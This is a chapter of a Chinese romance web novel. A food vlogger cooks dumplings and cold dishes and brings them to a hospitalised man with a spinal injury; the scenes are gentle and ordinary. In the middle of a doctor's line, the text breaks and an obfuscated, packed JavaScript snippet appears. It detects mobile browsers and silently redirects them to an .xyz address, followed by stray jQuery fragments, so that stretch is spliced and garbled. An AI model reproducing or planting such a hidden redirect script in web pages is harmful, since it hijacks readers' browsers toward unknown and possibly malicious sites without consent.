回到家，玄关感应灯亮起，暖黄的光把门口的影子拖得很细。
客厅电视声量很低。抱抱应声蹭到她身边，喵了一声。
“过来。”许尽欢俯身，一把把这团奶茶色按进怀里。
猫抗议似的“喵”了一声，却没有挣扎，把脸埋进她的臂弯，找了个舒服的位置发出呼噜声。
她把灯没开全，留着一盏落地灯，抱着猫钻进沙发毯，先把手机面朝下按在茶几上，屏亮又灭，亮又灭，最终安静。
她在沙发上睡得不深。
半梦半醒之间，电视里“我心系百姓”的台词像薄棉铺过耳朵，抱抱的呼噜声贴着她肋骨一路颤过去。
她醒了一次，起身去阳台，抽了半支烟，指尖的红点在窗玻璃上映出一个小小的光圈。
她觉得无趣，随即按灭，洗了手，回客厅继续抱着猫睡。
三点四十，眼睛像被一只无形的手拉开。
她没有闹钟，身体自己把她推回到工作的轨道上。
温水、两小块黑巧，胃舒服了一点，她把灯架和餐车推出来，打开相机和返光板，调好白平衡。
时间过去两周，库存只剩下十条，今天就打算拍两条。
第一条是酱肉包。
和面时特写揉面团的相机角度，醒发时镜头贴着碗口拍保鲜膜鼓起的弧度，擀皮要让面粉在台面上起雾，包馅讲究肥瘦搭配，酱香里点胡椒，封口捏出小褶，摆在屉布上像一排排白胖的贝壳。
蒸汽冒起的时候，她把镜头探过去，热雾爬上镜头面，水珠在黑镜面上慢慢合拢，像一场雨。
第二条做了凉拌秋葵。
滚水烫，冰水激，切圈，汁水清亮；
还有一个豆腐，嫩豆腐切块，撒上柴鱼片和葱花小米辣，酱油和米醋一比一，滴两滴香油，镜头往上一抬，香气就似乎要从屏幕里飘出来。
她把多蒸的一屉包子给早上要来她家的苏苓留下。
想到医院里还有位债主，包了几个香菇青菜包重新放上蒸锅。
六点，开始剪素材，按习惯关掉所有音轨，靠读画面节奏剪切。
太阳没出来，七点多，她洗了个脸，换了件薄卫衣，给抱抱添了饭，躺回沙发眯了一会儿。九点半，闹钟响，她翻身坐起洗澡，刚从浴室出来就看到苏苓正在给她收拾玄关的快递盒子。
“姐，你起了啊？”苏苓一边说话，手上动作不停。
“别忙了，我自己收拾。做了酱肉包和秋葵，前两天你不是说想吃凉拌秋葵了？过来吃饭吧。”许尽欢趿拉着拖鞋去厨房拿了做好的包子重新加热。
十点整，她点开那个只有一个大写字母“J”的对话框，打字：【你起床了吗？】
几乎是同时，对面冒出来：【起了！】
【做了很多包子，你要是没吃早饭我给你带去些。】
【好耶！！你记得带伞啊！今天要下雨！】
【天气预报显示好像是阴天？】
【信我，绝对下，一定带伞。不下我让崽崽倒立洗澡。】
她想象了一下崽崽倒立的模样，不禁失笑。手机放下，她把包子按大小分装，酱肉和香菇青菜分两盒，保温袋里塞了苏苓榨好的两杯豆浆，一杯无糖、一杯微糖。
她把湿巾、一次性手套、餐巾纸和备用保温杯检查了一遍，拿起折叠伞。
病房里，纪允川忙的火热朝天。
又是洗澡又是刮胡子。还外卖叫了面膜。
右臂敷着纱布，贴布边缘微皱，手背青筋浅起。他把自己挪到盥洗台边，单手拆剃须刀，刀头“咔嗒”一声就位。
动作慢，角度不顺，拉到下颌时有点卡，他停了一下，换了个姿势。镜子上雾快，他抬胳膊抹了一把，水珠被手背推成一条条清亮的水痕。
小张给他端了温水，湿毛巾挤干，一块一块擦。到右臂时只能绕开敷料，贴布碰到水边就有点发痒，皮肤被胶拉着难受。
只好忍着，反手擦背的时候，胸以下那片空白像一堵墙，肌肉发力的回路断在后背的某个位置，背部细微地抖了一下。
左腿跟着打了几下节拍器式的抖动，痉挛从小腿一路向上蔓延，他长吐一口气，抓住扶杆，静静地等着它过去。
他把病号服换了一件干净的，领口抻平，胸口的位置因为刚刚擦身还潮，他抽了两张纱布垫在贴布边缘下，把医用胶重新压紧。
转移回床上时，他先把电动床角度升高，左手抓床边栏，用上身的动作甩着臀部往前挪。
这个动作他做了成百上千次，身体学会了用剩下的肌群作弊。
床头的小桌上，他把电脑合起，数据线收进网袋，游戏手柄塞回抽屉。
感觉收拾的差不多了，抽了张湿巾擦掉脸上的面膜精华，他抬头，听见门外轻轻两下敲门，“请进！”
声音不自觉高了半度。
许尽欢拎着保温袋站在门口。她先看了他一眼，脸色比前天好，眼睛亮得过头，头发干净，脸刮得利落，右臂还贴着全新的敷料，点滴在挂。领口没有昨天那圈水痕了。
“你来啦！”他说。
“还烧吗？”她把保温袋放在床边小桌上，抬眼看他。
“早就不烧啦。你甭担心，我身体没那么差。”他摆手，语气故作轻松，实际上声音尾巴有点虚。
“酱肉包，香菇青菜包，还有豆浆，和凉菜。包子和豆浆还热着。”她没拆他的台，把保温盒盖打开，蒸汽翻上来，香气顺着白气往上走。
“哇，好漂亮。好香啊。”他真诚地惊叹，眼睛里的欢喜几乎要溢出来。
“嗯。左边的豆浆是没放糖的。”许尽欢把两杯豆浆放在床头柜。
纪允川伸手要去拿，左手托在底下，右手不敢用力。她戴上一次性手套，把包子连同剪裁感好的蒸笼纸递给他，又顺手把小桌上的电脑收起往里推。
“我都不知道怎么报答你了。我这两天吃医院的饭都快吃昏迷了。”他咬了一口，呼出来的气都甜滋滋的，“这就是美食博主的实力吗？真的太好吃了。这么多，你吃早饭了吗？你快也吃点。”
她“嗯”了一声，自己咬了半口就放在一边。
“我没什么胃口。”她说得很自然。
他看见了，装作不经意地把素包推过去：“这个更清爽一点。”
她摇头：“我等会儿吃。”
“还要住多久呐？”她转移话题。
“三五天吧，其实已经可以跑了，院长和我老爹是朋友，我容易被告状，所以比较老实。”他说着自己先笑，嘴里却还是不停：“你这包子……真的太好吃了，我给你付房租水电，咱不接外卖平台，开家馆子吧，你想啥时候开就啥时候开，想做啥就做啥，你这手艺不发扬光大真的是美食届的遗憾。”
许尽欢的嘴角还是轻轻动了一下，忽然像想起了什么好笑的，眼睛弯起：“主理人餐馆吗？”
“哈哈哈哈哈哈，自媒体博主的网速好快啊。”
纪允川望着许尽欢的笑靥，失神半晌。
窗外天沉了下来。
许尽欢把折叠伞从包里拿出来：“你还挺神的。”
他抬眼，刚好听见玻璃上“噼里啪啦”一阵雨点，风把雨线撕成斜的。雨，说下就下。
“我说了吧，下雨。”他得意，“崽崽不用......”
“倒立洗澡了。”她接话。
他们同时笑了一下。
门被敲了两下，李至延推门进来。听诊器挂在脖子上，白大褂下摆还带着一点走动的风。
“伙食不错啊。”他看了一眼小桌上的两个垫纸，又看一眼许尽欢，“想来营养跟上他也能好的快点。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535070|186510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
纪允川不满：“什么嘛，我每天吃那么多营养补剂。”
“嗯。”李至延把病历翻到今天，“体温稳定，炎症指标下来了。抓伤还是不许碰水，贴布换药我让护士晚一点再来。坐久了就躺会儿，尤其注意尾骨。等会儿小张来了让他检查一下。”
他看纪允川一副不值钱的模样，扭头看向许尽欢，语气温和，“等会儿让他躺一会儿，床摇低一点。麻烦你了。”
“好。”她点头。
李至延走时，顺手把窗边的帘子拉了一点，留出一道窄缝。雨声更清，像一面透明的布敲在窗上。
吃完，她递湿巾，他要接被她按住：“别动。”她给他擦手，动作利落而轻。她把包纸和一次性手套收进袋子，起身把床头按键调了调，把床角度降了一点，把枕头拍松。她站在床边，低头看他：“躺一下吧。”
“遵命。”他乖乖往下滑，背贴上床垫时不自觉的轻轻“嗯”了一声。胸以下那一大片空白像被放回了一个熟悉的卡槽里。
“我是真的觉得……”他盯着天花板，声音小了一点，“你来了，我就不太烧了。”说完自己先咳了一声，像被自己的矫情噎住，“咳、咳，我意思是心情好。”
“安静点，对嗓子好。”许尽欢语气平平，显然对纪允川莫名其妙的肉麻话接受无能。
察觉病房的静谧，纪允川把电视打开，在病床正对着的电视投屏武林外传。雨声在窗外织成一张密网，点滴的节拍慢慢和电视剧的声音套上拍子。
她的手机亮了一下，品牌方催改脚本。她起身去走廊回消息。
门轻轻掩上，他盯着那条门缝看了几秒，强迫自己不讲出任何“别走”之类的话。
她回来：“那我先走了，下午还要剪视频。”
他点头，冲她比了个OK：“收到，老板。”
“包子还剩下几个，放保温盒里，最多再热一次。没吃完就扔掉。”她把保温袋扣好。
“等我出院，轮到我。”他忍了忍，还是露出他无法遮住的欣喜，“火锅、馄饨，都安排。”
“发烧的话，不用洗头洗的这么勤快。”她忽然说。
他愣了一下，眼神飞速躲了一次，又回来，乖乖点头：“喔。”
她拿起伞：“好好休息，快点好起来吧。”
“收到！保证完成任务。”他笑。
门轻轻关上，睡意从脊柱根部往上浮。
医院门口雨势更大，伞骨被风掀了一角，被许尽欢轻轻按住。她提前叫了车，收伞上车，后视镜里，医院楼层在雨幕里慢慢模糊。
到家第一件事是把酱肉包的素材彻底剪好放进草稿箱，然后开始剪凉拌秋葵。
手机嗡了一下。是他发来的雨幕视频，画面里窗玻璃被雨点敲出密密麻麻的白点，消息写：【认证：大雨！】
第二条紧接着：【你安全到家了吗？】
后面跟了一个克制的小笑脸，没再加他平时喜欢的大表情包。
她笑了笑：【到家了。】
把上周剪好的成片导出传给品牌方。窗外雨势渐缓，路面像刷了一层亮漆。
她合上电脑，把手机提醒事项打开：周五带抱抱做绝育前检查；周末给崽崽罐头。
纪允川在许尽欢离开之后，睡了一个小回笼觉，醒来时雨声还在。点滴换了一袋，护士帮他检查了贴布边缘和尾骨皮肤，叮嘱他换个姿势。
他照做，肩部发力，臀部往上挪，姿势不算美观，但很熟练。
他尝试着一直低音量地在电视上播放武林外传，学着许尽欢日常的方式生活。偶尔认真看一会，被逗笑两声。
眼睛慢慢闭上，背部和腰下那条熟悉的暗痛今天像被温水浸润，连剧痛都少了三分。
大概是爱的力量。
他美滋滋地想。